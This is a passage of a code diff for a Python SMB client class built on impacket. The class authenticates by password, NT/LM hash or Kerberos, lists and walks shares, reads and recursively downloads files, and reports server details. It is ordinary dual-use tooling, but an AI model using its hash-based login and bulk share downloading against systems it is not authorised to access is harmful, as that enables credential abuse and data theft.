print("%s\x1b[1;96m%s\x1b[0m\\" % (''.join(prompt+[bars[2]]), entry.get_longname())) +867 recurse_action( +868 base_dir=base_dir, +869 path=path+[entry.get_longname()], +870 prompt=prompt+[" "] +871 ) +872 else: +873 if self.config.no_colors: +874 print("%s%s" % (''.join(prompt+[bars[2]]), entry.get_longname())) +875 else: +876 print("%s\x1b[1m%s\x1b[0m" % (''.join(prompt+[bars[2]]), entry.get_longname())) +877 +878 # These are entries in the middle +879 else: +880 if entry.is_directory(): +881 if self.config.no_colors: +882 print("%s%s\\" % (''.join(prompt+[bars[1]]), entry.get_longname())) +883 else: +884 print("%s\x1b[1;96m%s\x1b[0m\\" % (''.join(prompt+[bars[1]]), entry.get_longname())) +885 recurse_action( +886 base_dir=base_dir, +887 path=path+[entry.get_longname()], +888 prompt=prompt+["│ "] +889 ) +890 else: +891 if self.config.no_colors: +892 print("%s%s" % (''.join(prompt+[bars[1]]), entry.get_longname())) +893 else: +894 print("%s\x1b[1m%s\x1b[0m" % (''.join(prompt+[bars[1]]), entry.get_longname())) +895 +896 # +897 elif len(entries) == 1: +898 entry = entries[0] +899 if entry.is_directory(): +900 if self.config.no_colors: +901 print("%s%s\\" % (''.join(prompt+[bars[2]]), entry.get_longname())) +902 else: +903 print("%s\x1b[1;96m%s\x1b[0m\\" % (''.join(prompt+[bars[2]]), entry.get_longname())) +904 recurse_action( +905 base_dir=base_dir, +906 path=path+[entry.get_longname()], +907 prompt=prompt+[" "] +908 ) +909 else: +910 if self.config.no_colors: +911 print("%s%s" % (''.join(prompt+[bars[2]]), entry.get_longname())) +912 else: +913 print("%s\x1b[1m%s\x1b[0m" % (''.join(prompt+[bars[2]]), entry.get_longname())) +914 +915 # Entrypoint +916 try: +917 if self.config.no_colors: +918 print("%s\\" % path) +919 else: +920 print("\x1b[1;96m%s\x1b[0m\\" % path) +921 recurse_action( +922 base_dir=self.smb_cwd, +923 path=[path], +924 prompt=[""] +925 ) +926 except (BrokenPipeError, KeyboardInterrupt) as e: +927 print("[!] Interrupted.") +928 self.close_smb_session() +929 self.init_smb_session() +930 +931 # Setter / Getter +932 +933 def set_share(self, shareName): +934 """ +935 Sets the current SMB share to the specified share name. +936 +937 This method updates the SMB session to use the specified share name. It checks if the share name is valid +938 and updates the smb_share attribute of the SMBSession instance. +939 +940 Parameters: +941 shareName (str): The name of the share to set as the current SMB share. +942 +943 Raises: +944 ValueError: If the shareName is None or an empty string. +945 """ +946 +947 if shareName is not None: +948 self.list_shares() +949 if shareName.lower() in self.available_shares.keys(): +950 # Doing this in order to keep the case of the share adevertised by the remote machine +951 self.smb_share = self.available_shares[shareName.lower()]["name"] +952 else: +953 print("[!] Could not set share '%s', it does not exist remotely." % shareName) +954 +955 def set_cwd(self, path=None): +956 """ +957 Sets the current working directory on the SMB share to the specified path. +958 +959 This method updates the current working directory (cwd) of the SMB session to the given path if it is a valid directory. +960 If the specified path is not a directory, the cwd remains unchanged. +961 +962 Parameters: +963 path (str): The path to set as the current working directory. +964 +965 Raises: +966 ValueError: If the specified path is not a directory. +967 """ +968 +969 if path is not None: +970 # Set path separators to ntpath sep +971 if '/' in path: +972 path = path.replace('/', ntpath.sep) +973 +974 if path.startswith(ntpath.sep): +975 # Absolute path +976 path = path + ntpath.sep +977 else: +978 # Relative path to the CWD +979 if len(self.smb_cwd) == 0: +980 path = path + ntpath.sep +981 else: +982 path = self.smb_cwd + ntpath.sep + path +983 +984 # Path normalization +985 path = ntpath.normpath(path) +986 path = re.sub(r'\\+', r'\\', path) +987 +988 if path in ["", ".", ".."]: +989 self.smb_cwd = "" +990 else: +991 if self.path_isdir(pathFromRoot=path.strip(ntpath.sep)): +992 # Path exists on the remote +993 self.smb_cwd = ntpath.normpath(path) +994 else: +995 # Path does not exists or is not a directory on the remote +996 print("[!] Remote directory '%s' does not exist." % path)

    @@ -1081,897 +1176,985 @@

    -
     18class SMBSession(object):
    - 19    """
    - 20    Class SMBSession is designed to handle the session management for SMB (Server Message Block) protocol connections.
    - 21    It provides functionalities to connect to an SMB server, authenticate using either NTLM or Kerberos, and manage SMB shares.
    - 22
    - 23    Attributes:
    - 24        address (str): The IP address or hostname of the SMB server.
    - 25        domain (str): The domain name for SMB server authentication.
    - 26        username (str): The username for SMB server authentication.
    - 27        password (str): The password for SMB server authentication.
    - 28        lmhash (str): The LM hash of the user's password, if available.
    - 29        nthash (str): The NT hash of the user's password, if available.
    - 30        use_kerberos (bool): A flag to determine whether to use Kerberos for authentication.
    - 31        kdcHost (str): The Key Distribution Center (KDC) host for Kerberos authentication.
    - 32        debug (bool): A flag to enable debug output.
    - 33        smbClient (object): The SMB client object used for the connection.
    - 34        connected (bool): A flag to check the status of the connection.
    - 35        smb_share (str): The current SMB share in use.
    - 36        smb_path (str): The current path within the SMB share.
    - 37
    - 38    Methods:
    - 39        __init__(address, domain, username, password, lmhash, nthash, use_kerberos=False, kdcHost=None, debug=False):
    - 40            Initializes the SMBSession with the specified parameters.
    - 41        init_smb_session():
    - 42            Initializes the SMB session by connecting to the server and authenticating using the specified method.
    - 43    """
    - 44
    - 45    def __init__(self, address, domain, username, password, lmhash, nthash, use_kerberos=False, kdcHost=None, config=None):
    - 46        super(SMBSession, self).__init__()
    - 47        # Objects
    - 48        self.config = config
    - 49
    - 50        # Target server
    - 51        self.address = address
    - 52
    - 53        # Credentials
    - 54        self.domain = domain
    - 55        self.username = username
    - 56        self.password = password 
    - 57        self.lmhash = lmhash
    - 58        self.nthash = nthash
    - 59        self.use_kerberos = use_kerberos
    - 60        self.kdcHost = kdcHost
    - 61
    - 62        self.smbClient = None
    - 63        self.connected = False
    - 64
    - 65        self.available_shares = {}
    - 66        self.smb_share = None
    - 67        self.smb_cwd = ""
    - 68
    - 69        self.list_shares()
    - 70
    - 71    # Connect and disconnect SMB session
    - 72
    - 73    def init_smb_session(self):
    - 74        """
    - 75        Initializes and establishes a session with the SMB server.
    - 76
    - 77        This method sets up the SMB connection using either Kerberos or NTLM authentication based on the configuration.
    - 78        It attempts to connect to the SMB server specified by the `address` attribute and authenticate using the credentials provided during the object's initialization.
    - 79
    - 80        The method will print debug information if the `debug` attribute is set to True. Upon successful connection and authentication, it sets the `connected` attribute to True.
    - 81
    - 82        Returns:
    - 83            bool: True if the connection and authentication are successful, False otherwise.
    - 84        """
    - 85
    - 86        if self.config.debug:
    - 87            print("[debug] [>] Connecting to remote SMB server '%s' ... " % self.address)
    - 88        try:
    - 89            self.smbClient = impacket.smbconnection.SMBConnection(
    - 90                remoteName=self.address,
    - 91                remoteHost=self.address,
    - 92                sess_port=int(445)
    - 93            )
    - 94        except OSError as err:
    - 95            print("[!] %s" % err)
    - 96            self.smbClient = None
    - 97
    - 98        self.connected = False
    - 99        if self.smbClient is not None:
    -100            if self.use_kerberos:
    -101                if self.config.debug:
    -102                    print("[debug] [>] Authenticating as '%s\\%s' with kerberos ... " % (self.domain, self.username))
    -103                self.connected = self.smbClient.kerberosLogin(
    -104                    user=self.username,
    -105                    password=self.password,
    -106                    domain=self.domain,
    -107                    lmhash=self.lmhash,
    -108                    nthash=self.nthash,
    -109                    aesKey=self.aesKey,
    -110                    kdcHost=self.kdcHost
    -111                )
    -112
    -113            else:
    -114                if self.config.debug:
    -115                    print("[debug] [>] Authenticating as '%s\\%s' with NTLM ... " % (self.domain, self.username))
    -116                self.connected = self.smbClient.login(
    -117                    user=self.username,
    -118                    password=self.password,
    -119                    domain=self.domain,
    -120                    lmhash=self.lmhash,
    -121                    nthash=self.nthash
    -122                )
    -123
    -124            if self.connected:
    -125                print("[+] Successfully authenticated to '%s' as '%s\\%s'!" % (self.address, self.domain, self.username))
    -126            else:
    -127                print("[!] Failed to authenticate to '%s' as '%s\\%s'!" % (self.address, self.domain, self.username))
    -128
    -129        return self.connected
    -130
    -131    def close_smb_session(self):
    -132        """
    -133        Closes the current SMB session by disconnecting the SMB client.
    -134
    -135        This method ensures that the SMB client connection is properly closed. It checks if the client is connected
    -136        and if so, it closes the connection and resets the connection status.
    +            
     19class SMBSession(object):
    + 20    """
    + 21    Class SMBSession is designed to handle the session management for SMB (Server Message Block) protocol connections.
    + 22    It provides functionalities to connect to an SMB server, authenticate using either NTLM or Kerberos, and manage SMB shares.
    + 23
    + 24    Attributes:
    + 25        address (str): The IP address or hostname of the SMB server.
    + 26        domain (str): The domain name for SMB server authentication.
    + 27        username (str): The username for SMB server authentication.
    + 28        password (str): The password for SMB server authentication.
    + 29        lmhash (str): The LM hash of the user's password, if available.
    + 30        nthash (str): The NT hash of the user's password, if available.
    + 31        use_kerberos (bool): A flag to determine whether to use Kerberos for authentication.
    + 32        kdcHost (str): The Key Distribution Center (KDC) host for Kerberos authentication.
    + 33        debug (bool): A flag to enable debug output.
    + 34        smbClient (object): The SMB client object used for the connection.
    + 35        connected (bool): A flag to check the status of the connection.
    + 36        smb_share (str): The current SMB share in use.
    + 37        smb_path (str): The current path within the SMB share.
    + 38
    + 39    Methods:
    + 40        __init__(address, domain, username, password, lmhash, nthash, use_kerberos=False, kdcHost=None, debug=False):
    + 41            Initializes the SMBSession with the specified parameters.
    + 42        init_smb_session():
    + 43            Initializes the SMB session by connecting to the server and authenticating using the specified method.
    + 44    """
    + 45
    + 46    def __init__(self, address, domain, username, password, lmhash, nthash, use_kerberos=False, kdcHost=None, config=None):
    + 47        super(SMBSession, self).__init__()
    + 48        # Objects
    + 49        self.config = config
    + 50
    + 51        # Target server
    + 52        self.address = address
    + 53
    + 54        # Credentials
    + 55        self.domain = domain
    + 56        self.username = username
    + 57        self.password = password 
    + 58        self.lmhash = lmhash
    + 59        self.nthash = nthash
    + 60        self.use_kerberos = use_kerberos
    + 61        self.kdcHost = kdcHost
    + 62
    + 63        self.smbClient = None
    + 64        self.connected = False
    + 65
    + 66        self.available_shares = {}
    + 67        self.smb_share = None
    + 68        self.smb_cwd = ""
    + 69
    + 70        self.list_shares()
    + 71
    + 72    # Connect and disconnect SMB session
    + 73
    + 74    def init_smb_session(self):
    + 75        """
    + 76        Initializes and establishes a session with the SMB server.
    + 77
    + 78        This method sets up the SMB connection using either Kerberos or NTLM authentication based on the configuration.
    + 79        It attempts to connect to the SMB server specified by the `address` attribute and authenticate using the credentials provided during the object's initialization.
    + 80
    + 81        The method will print debug information if the `debug` attribute is set to True. Upon successful connection and authentication, it sets the `connected` attribute to True.
    + 82
    + 83        Returns:
    + 84            bool: True if the connection and authentication are successful, False otherwise.
    + 85        """
    + 86
    + 87        self.connected = False
    + 88
    + 89        if self.config.debug:
    + 90            print("[debug] [>] Connecting to remote SMB server '%s' ... " % self.address)
    + 91        try:
    + 92            self.smbClient = impacket.smbconnection.SMBConnection(
    + 93                remoteName=self.address,
    + 94                remoteHost=self.address,
    + 95                sess_port=int(445)
    + 96            )
    + 97        except OSError as err:
    + 98            print("[!] %s" % err)
    + 99            self.smbClient = None
    +100
    +101        if self.smbClient is not None:
    +102            if self.use_kerberos:
    +103                if self.config.debug:
    +104                    print("[debug] [>] Authenticating as '%s\\%s' with kerberos ... " % (self.domain, self.username))
    +105                try:
    +106                    self.connected = self.smbClient.kerberosLogin(
    +107                        user=self.username,
    +108                        password=self.password,
    +109                        domain=self.domain,
    +110                        lmhash=self.lmhash,
    +111                        nthash=self.nthash,
    +112                        aesKey=self.aesKey,
    +113                        kdcHost=self.kdcHost
    +114                    )
    +115                except impacket.smbconnection.SessionError as err:
    +116                    if self.config.debug:
    +117                        traceback.print_exc()
    +118                    print("[!] Could not login: %s" % err)
    +119                    self.connected = False
    +120
    +121            else:
    +122                if self.config.debug:
    +123                    print("[debug] [>] Authenticating as '%s\\%s' with NTLM ... " % (self.domain, self.username))
    +124                try:
    +125                    self.connected = self.smbClient.login(
    +126                        user=self.username,
    +127                        password=self.password,
    +128                        domain=self.domain,
    +129                        lmhash=self.lmhash,
    +130                        nthash=self.nthash
    +131                    )
    +132                except impacket.smbconnection.SessionError as err:
    +133                    if self.config.debug:
    +134                        traceback.print_exc()
    +135                    print("[!] Could not login: %s" % err)
    +136                    self.connected = False
     137
    -138        Raises:
    -139            Exception: If the SMB client is not initialized or if there's an error during the disconnection process.
    -140        """
    -141
    -142        if self.smbClient is not None:
    -143            if self.connected:
    -144                self.smbClient.close()
    -145                self.connected = False
    -146                print("[+] SMB connection closed successfully.")
    -147            else:
    -148                print("[!] No active SMB connection to close.")
    -149        else:
    -150            raise Exception("SMB client is not initialized.")
    +138            if self.connected:
    +139                print("[+] Successfully authenticated to '%s' as '%s\\%s'!" % (self.address, self.domain, self.username))
    +140            else:
    +141                print("[!] Failed to authenticate to '%s' as '%s\\%s'!" % (self.address, self.domain, self.username))
    +142
    +143        return self.connected
    +144
    +145    def close_smb_session(self):
    +146        """
    +147        Closes the current SMB session by disconnecting the SMB client.
    +148
    +149        This method ensures that the SMB client connection is properly closed. It checks if the client is connected
    +150        and if so, it closes the connection and resets the connection status.
     151
    -152    # Operations
    -153
    -154    def get_file(self, path=None, keepRemotePath=False):
    -155        """
    -156        Retrieves a file from the specified path on the SMB share.
    -157
    -158        This method attempts to retrieve a file from the given path within the currently connected SMB share.
    -159        If the path points to a directory, it skips the retrieval. It handles file retrieval by creating a local
    -160        file object and writing the contents of the remote file to it using the SMB client's getFile method.
    -161
    -162        Parameters:
    -163            path (str): The path of the file to retrieve. If None, uses the current smb_path.
    -164
    -165        Returns:
    -166            None
    -167        """
    -168
    -169        tmp_file_path = self.smb_cwd + ntpath.sep + path
    -170        matches = self.smbClient.listPath(
    -171            shareName=self.smb_share, 
    -172            path=tmp_file_path
    -173        )
    -174        
    -175        for entry in matches:
    -176            if entry.is_directory():
    -177                print("[>] Skipping '%s' because it is a directory." % tmp_file_path)
    -178            else:
    -179                try:
    -180                    if ntpath.sep in path:
    -181                        outputfile = ntpath.dirname(path) + ntpath.sep + entry.get_longname()
    -182                    else:
    -183                        outputfile = entry.get_longname()
    -184                    f = LocalFileIO(
    -185                        mode="wb", 
    -186                        path=outputfile,
    -187                        expected_size=entry.get_filesize(), 
    -188                        debug=self.config.debug,
    -189                        keepRemotePath=keepRemotePath
    -190                    )
    -191                    self.smbClient.getFile(
    -192                        shareName=self.smb_share, 
    -193                        pathName=tmp_file_path, 
    -194                        callback=f.write
    -195                    )
    -196                    f.close()
    -197                except (BrokenPipeError, KeyboardInterrupt) as e:
    -198                    f.close()
    -199                    print("\x1b[v\x1b[o\r[!] Interrupted.")
    -200                    self.close_smb_session()
    -201                    self.init_smb_session()
    -202                        
    -203        return None
    -204
    -205    def get_file_recursively(self, path=None):
    -206        """
    -207        Recursively retrieves files from a specified path on the SMB share.
    -208
    -209        This method navigates through all directories starting from the given path,
    -210        and downloads all files found. It handles directories recursively, ensuring
    -211        that all nested files are retrieved. The method skips over directory entries
    -212        and handles errors gracefully, attempting to continue the operation where possible.
    -213
    -214        Parameters:
    -215            path (str): The initial directory path from which to start the recursive file retrieval.
    -216                        If None, it starts from the root of the configured SMB share.
    -217        """
    -218        
    -219        def recurse_action(base_dir="", path=[]):
    -220            remote_smb_path = base_dir + ntpath.sep.join(path)
    -221            entries = self.smbClient.listPath(
    -222                shareName=self.smb_share, 
    -223                path=remote_smb_path + '\\*'
    -224            )
    -225            if len(entries) != 0:
    -226                files = [entry for entry in entries if not entry.is_directory()]
    -227                directories = [entry for entry in entries if entry.is_directory() and entry.get_longname() not in [".", ".."]]
    -228
    -229                # Files
    -230                if len(files) != 0:
    -231                    print("[>] Retrieving files of '%s'" % remote_smb_path)
    -232                for entry_file in files:
    -233                    if not entry_file.is_directory():
    -234                        f = LocalFileIO(
    -235                            mode="wb",
    -236                            path=remote_smb_path + ntpath.sep + entry_file.get_longname(), 
    -237                            expected_size=entry_file.get_filesize(),
    -238                            debug=self.config.debug
    -239                        )
    -240                        try:
    -241                            self.smbClient.getFile(
    -242                                shareName=self.smb_share, 
    -243                                pathName=remote_smb_path + ntpath.sep + entry_file.get_longname(), 
    -244                                callback=f.write
    -245                            )
    -246                            f.close()
    -247                        except BrokenPipeError as err:
    -248                            f.set_error(message="[bold red]Failed downloading '%s': %s" % (f.path, err))
    -249                            f.close(remove=True)
    -250                            break
    -251                        except Exception as err:
    -252                            f.set_error(message="[bold red]Failed downloading '%s': %s" % (f.path, err))
    -253                            f.close(remove=True)
    -254                
    -255                # Directories
    -256                for entry_directory in directories:
    -257                    if entry_directory.is_directory():
    -258                        recurse_action(
    -259                            base_dir=self.smb_cwd, 
    -260                            path=path+[entry_directory.get_longname()]
    -261                        )                   
    -262        # Entrypoint
    -263        try:
    -264            recurse_action(
    -265                base_dir=self.smb_cwd, 
    -266                path=[path]
    -267            )
    -268        except (BrokenPipeError, KeyboardInterrupt) as e:
    -269            print("\x1b[v\x1b[o\r[!] Interrupted.")
    -270            self.close_smb_session()
    -271            self.init_smb_session()
    -272
    -273    def info(self, share=True, server=True):
    -274        """
    -275        Displays information about the server and optionally the shares.
    -276
    -277        This method prints detailed information about the server's characteristics such as NetBIOS names, DNS details, OS information, and SMB capabilities. If the `share` parameter is set to True and a share is currently set, it will also attempt to display information about the share.
    -278
    -279        Parameters:
    -280            share (bool): If True, display information about the current share.
    -281            server (bool): If True, display information about the server.
    -282
    -283        Returns:
    -284            None
    -285        """
    -286
    -287        if server:
    -288            if self.config.no_colors:
    -289                print("[+] Server:")
    -290                print("  ├─NetBIOS:")
    -291                print("  │ ├─ NetBIOS Hostname ──────── : %s" % (self.smbClient.getServerName()))
    -292                print("  │ └─ NetBIOS Domain ────────── : %s" % (self.smbClient.getServerDomain()))
    -293                print("  ├─DNS:")
    -294                print("  │ ├─ DNS Hostname ──────────── : %s" % (self.smbClient.getServerDNSHostName()))
    -295                print("  │ └─ DNS Domain ────────────── : %s" % (self.smbClient.getServerDNSDomainName()))
    -296                print("  ├─OS:")
    -297                print("  │ ├─ OS Name ───────────────── : %s" % (self.smbClient.getServerOS()))
    -298                print("  │ └─ OS Version ────────────── : %s.%s.%s" % (self.smbClient.getServerOSMajor(), self.smbClient.getServerOSMinor(), self.smbClient.getServerOSBuild()))
    -299                print("  ├─Server:")
    -300                print("  │ ├─ Signing Required ──────── : %s" % (self.smbClient.isSigningRequired()))
    -301                print("  │ ├─ Login Required ────────── : %s" % (self.smbClient.isLoginRequired()))
    -302                print("  │ ├─ Supports NTLMv2 ───────── : %s" % (self.smbClient.doesSupportNTLMv2()))
    -303                MaxReadSize = self.smbClient.getIOCapabilities()["MaxReadSize"]
    -304                print("  │ ├─ Max size of read chunk ── : %d bytes (%s)" % (MaxReadSize, b_filesize(MaxReadSize)))
    -305                MaxWriteSize = self.smbClient.getIOCapabilities()["MaxWriteSize"]
    -306                print("  │ └─ Max size of write chunk ─ : %d bytes (%s)" % (MaxWriteSize, b_filesize(MaxWriteSize)))
    -307                print("  └─")
    -308            else:
    -309                print("[+] Server:")
    -310                print("  ├─NetBIOS:")
    -311                print("  │ ├─ \x1b[94mNetBIOS Hostname\x1b[0m \x1b[90m────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerName()))
    -312                print("  │ └─ \x1b[94mNetBIOS Domain\x1b[0m \x1b[90m──────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerDomain()))
    -313                print("  ├─DNS:")
    -314                print("  │ ├─ \x1b[94mDNS Hostname\x1b[0m \x1b[90m────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerDNSHostName()))
    -315                print("  │ └─ \x1b[94mDNS Domain\x1b[0m \x1b[90m──────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerDNSDomainName()))
    -316                print("  ├─OS:")
    -317                print("  │ ├─ \x1b[94mOS Name\x1b[0m \x1b[90m─────────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerOS()))
    -318                print("  │ └─ \x1b[94mOS Version\x1b[0m \x1b[90m──────────────\x1b[0m : \x1b[93m%s.%s.%s\x1b[0m" % (self.smbClient.getServerOSMajor(), self.smbClient.getServerOSMinor(), self.smbClient.getServerOSBuild()))
    -319                print("  ├─Server:")
    -320                print("  │ ├─ \x1b[94mSigning Required\x1b[0m \x1b[90m────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.isSigningRequired()))
    -321                print("  │ ├─ \x1b[94mLogin Required\x1b[0m \x1b[90m──────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.isLoginRequired()))
    -322                print("  │ ├─ \x1b[94mSupports NTLMv2\x1b[0m \x1b[90m─────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.doesSupportNTLMv2()))
    -323                MaxReadSize = self.smbClient.getIOCapabilities()["MaxReadSize"]
    -324                print("  │ ├─ \x1b[94mMax size of read chunk\x1b[0m \x1b[90m──\x1b[0m : \x1b[93m%d bytes (%s)\x1b[0m" % (MaxReadSize, b_filesize(MaxReadSize)))
    -325                MaxWriteSize = self.smbClient.getIOCapabilities()["MaxWriteSize"]
    -326                print("  │ └─ \x1b[94mMax size of write chunk\x1b[0m \x1b[90m─\x1b[0m : \x1b[93m%d bytes (%s)\x1b[0m" % (MaxWriteSize, b_filesize(MaxWriteSize)))
    -327                print("  └─")
    -328
    -329        if share and self.smb_share is not None:
    -330            share_name = self.available_shares.get(self.smb_share.lower(), "")["name"]
    -331            share_comment = self.available_shares.get(self.smb_share.lower(), "")["comment"]
    -332            share_type = self.available_shares.get(self.smb_share.lower(), "")["type"]
    -333            share_type =', '.join([s.replace("STYPE_","") for s in share_type])
    -334            share_rawtype = self.available_shares.get(self.smb_share.lower(), "")["rawtype"]
    -335            if self.config.no_colors:
    -336                print("\n[+] Share:")
    -337                print("  ├─ Name ──────────── : %s" % (share_name))
    -338                print("  ├─ Description ───── : %s" % (share_comment))
    -339                print("  ├─ Type ──────────── : %s" % (share_type))
    -340                print("  └─ Raw type value ── : %s" % (share_rawtype))
    -341            else:
    -342                print("\n[+] Share:")
    -343                print("  ├─ \x1b[94mName\x1b[0m \x1b[90m────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (share_name))
    -344                print("  ├─ \x1b[94mDescription\x1b[0m \x1b[90m─────\x1b[0m : \x1b[93m%s\x1b[0m" % (share_comment))
    -345                print("  ├─ \x1b[94mType\x1b[0m \x1b[90m────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (share_type))
    -346                print("  └─ \x1b[94mRaw type value\x1b[0m \x1b[90m──\x1b[0m : \x1b[93m%s\x1b[0m" % (share_rawtype))
    -347
    -348    def list_contents(self, path=None):
    -349        """
    -350        Lists the contents of a specified directory on the SMB share.
    -351
    -352        This method retrieves the contents of a directory specified by `shareName` and `path`. If `shareName` or `path`
    -353        is not provided, it defaults to the instance's current SMB share or path. The method returns a dictionary with
    -354        the long names of the files and directories as keys and their respective SMB entry objects as values.
    +152        Raises:
    +153            Exception: If the SMB client is not initialized or if there's an error during the disconnection process.
    +154        """
    +155
    +156        if self.smbClient is not None:
    +157            if self.connected:
    +158                self.smbClient.close()
    +159                self.connected = False
    +160                if self.config.debug:
    +161                    print("[+] SMB connection closed successfully.")
    +162            else:
    +163                if self.config.debug:
    +164                    print("[!] No active SMB connection to close.")
    +165        else:
    +166            raise Exception("SMB client is not initialized.")
    +167
    +168    # Operations
    +169
    +170    def read_file(self, path=None):
    +171        if self.path_isfile(path=path):
    +172            tmp_file_path = self.smb_cwd + ntpath.sep + path
    +173            matches = self.smbClient.listPath(
    +174                shareName=self.smb_share, 
    +175                path=tmp_file_path
    +176            )
    +177
    +178            fh = io.BytesIO()
    +179            try:
    +180                # opening the files in streams instead of mounting shares allows 
    +181                # for running the script from unprivileged containers
    +182                self.smbClient.getFile(self.smb_share, tmp_file_path, fh.write)
    +183            except impacket.smbconnection.SessionError as e:
    +184                return None
    +185            rawdata = fh.getvalue()
    +186            fh.close()
    +187            return rawdata
    +188        else:
    +189            print("[!] Remote path '%s' is not a file." % path)
    +190
    +191    def find(self, paths=[], callback=None):
    +192        def recurse_action(paths=[], depth=0, callback=None):
    +193            if callback is None:
    +194                return []
    +195            next_directories_to_explore = []
    +196            for path in paths:
    +197                remote_smb_path = ntpath.normpath(self.smb_cwd + ntpath.sep + path)
    +198                entries = []
    +199                
    +200                try:
    +201                    entries = self.smbClient.listPath(
    +202                        shareName=self.smb_share, 
    +203                        path=(remote_smb_path + ntpath.sep + '*')
    +204                    )
    +205                except impacket.smbconnection.SessionError as err:
    +206                    continue 
    +207                # Remove dot names
    +208                entries = [e for e in entries if e.get_longname() not in [".", ".."]]
    +209                # Sort the entries ignoring case
    +210                entries = sorted(entries, key=lambda x:x.get_longname().lower())
    +211                
    +212                for entry in entries:
    +213                    if entry.is_directory():
    +214                        callback(entry, path + entry.get_longname() + ntpath.sep, depth)
    +215                    else:
    +216                        callback(entry, path + entry.get_longname(), depth)
    +217
    +218                # Next directories to explore
    +219                for entry in entries:
    +220                    if entry.is_directory():
    +221                        next_directories_to_explore.append(path + entry.get_longname() + ntpath.sep)
    +222            
    +223            return next_directories_to_explore
    +224        # 
    +225        if callback is not None:
    +226            depth = 0
    +227            while len(paths) != 0:
    +228                paths = recurse_action(
    +229                    paths=paths,
    +230                    depth=depth,
    +231                    callback=callback
    +232                )
    +233                depth = depth + 1
    +234        else:
    +235            print("[!] SMBSession.find(), callback function cannot be None.")
    +236
    +237    def get_file(self, path=None, keepRemotePath=False):
    +238        """
    +239        Retrieves a file from the specified path on the SMB share.
    +240
    +241        This method attempts to retrieve a file from the given path within the currently connected SMB share.
    +242        If the path points to a directory, it skips the retrieval. It handles file retrieval by creating a local
    +243        file object and writing the contents of the remote file to it using the SMB client's getFile method.
    +244
    +245        Parameters:
    +246            path (str): The path of the file to retrieve. If None, uses the current smb_path.
    +247
    +248        Returns:
    +249            None
    +250        """
    +251
    +252        tmp_file_path = self.smb_cwd + ntpath.sep + path
    +253        matches = self.smbClient.listPath(
    +254            shareName=self.smb_share, 
    +255            path=tmp_file_path
    +256        )
    +257        
    +258        for entry in matches:
    +259            if entry.is_directory():
    +260                print("[>] Skipping '%s' because it is a directory." % tmp_file_path)
    +261            else:
    +262                try:
    +263                    if ntpath.sep in path:
    +264                        outputfile = ntpath.dirname(path) + ntpath.sep + entry.get_longname()
    +265                    else:
    +266                        outputfile = entry.get_longname()
    +267                    f = LocalFileIO(
    +268                        mode="wb", 
    +269                        path=outputfile,
    +270                        expected_size=entry.get_filesize(), 
    +271                        debug=self.config.debug,
    +272                        keepRemotePath=keepRemotePath
    +273                    )
    +274                    self.smbClient.getFile(
    +275                        shareName=self.smb_share, 
    +276                        pathName=tmp_file_path, 
    +277                        callback=f.write
    +278                    )
    +279                    f.close()
    +280                except (BrokenPipeError, KeyboardInterrupt) as e:
    +281                    f.close()
    +282                    print("\x1b[v\x1b[o\r[!] Interrupted.")
    +283                    self.close_smb_session()
    +284                    self.init_smb_session()
    +285                        
    +286        return None
    +287
    +288    def get_file_recursively(self, path=None):
    +289        """
    +290        Recursively retrieves files from a specified path on the SMB share.
    +291
    +292        This method navigates through all directories starting from the given path,
    +293        and downloads all files found. It handles directories recursively, ensuring
    +294        that all nested files are retrieved. The method skips over directory entries
    +295        and handles errors gracefully, attempting to continue the operation where possible.
    +296
    +297        Parameters:
    +298            path (str): The initial directory path from which to start the recursive file retrieval.
    +299                        If None, it starts from the root of the configured SMB share.
    +300        """
    +301        
    +302        def recurse_action(base_dir="", path=[]):
    +303            remote_smb_path = base_dir + ntpath.sep.join(path)
    +304            entries = self.smbClient.listPath(
    +305                shareName=self.smb_share, 
    +306                path=remote_smb_path + '\\*'
    +307            )
    +308            if len(entries) != 0:
    +309                files = [entry for entry in entries if not entry.is_directory()]
    +310                directories = [entry for entry in entries if entry.is_directory() and entry.get_longname() not in [".", ".."]]
    +311
    +312                # Files
    +313                if len(files) != 0:
    +314                    print("[>] Retrieving files of '%s'" % remote_smb_path)
    +315                for entry_file in files:
    +316                    if not entry_file.is_directory():
    +317                        f = LocalFileIO(
    +318                            mode="wb",
    +319                            path=remote_smb_path + ntpath.sep + entry_file.get_longname(), 
    +320                            expected_size=entry_file.get_filesize(),
    +321                            debug=self.config.debug
    +322                        )
    +323                        try:
    +324                            self.smbClient.getFile(
    +325                                shareName=self.smb_share, 
    +326                                pathName=remote_smb_path + ntpath.sep + entry_file.get_longname(), 
    +327                                callback=f.write
    +328                            )
    +329                            f.close()
    +330                        except BrokenPipeError as err:
    +331                            f.set_error(message="[bold red]Failed downloading '%s': %s" % (f.path, err))
    +332                            f.close(remove=True)
    +333                            break
    +334                        except Exception as err:
    +335                            f.set_error(message="[bold red]Failed downloading '%s': %s" % (f.path, err))
    +336                            f.close(remove=True)
    +337                
    +338                # Directories
    +339                for entry_directory in directories:
    +340                    if entry_directory.is_directory():
    +341                        recurse_action(
    +342                            base_dir=self.smb_cwd, 
    +343                            path=path+[entry_directory.get_longname()]
    +344                        )                   
    +345        # Entrypoint
    +346        try:
    +347            recurse_action(
    +348                base_dir=self.smb_cwd, 
    +349                path=[path]
    +350            )
    +351        except (BrokenPipeError, KeyboardInterrupt) as e:
    +352            print("\x1b[v\x1b[o\r[!] Interrupted.")
    +353            self.close_smb_session()
    +354            self.init_smb_session()
     355
    -356        Args:
    -357            shareName (str, optional): The name of the SMB share. Defaults to the current SMB share if None.
    -358            path (str, optional): The directory path to list contents from. Defaults to the current path if None.
    +356    def info(self, share=True, server=True):
    +357        """
    +358        Displays information about the server and optionally the shares.
     359
    -360        Returns:
    -361            dict: A dictionary with file and directory names as keys and their SMB entry objects as values.
    -362        """
    -363        
    -364        if path is None or len(path) == 0:
    -365            path = self.smb_cwd
    -366        path = path.rstrip(ntpath.sep) + ntpath.sep + "*"
    -367
    -368        contents = {}
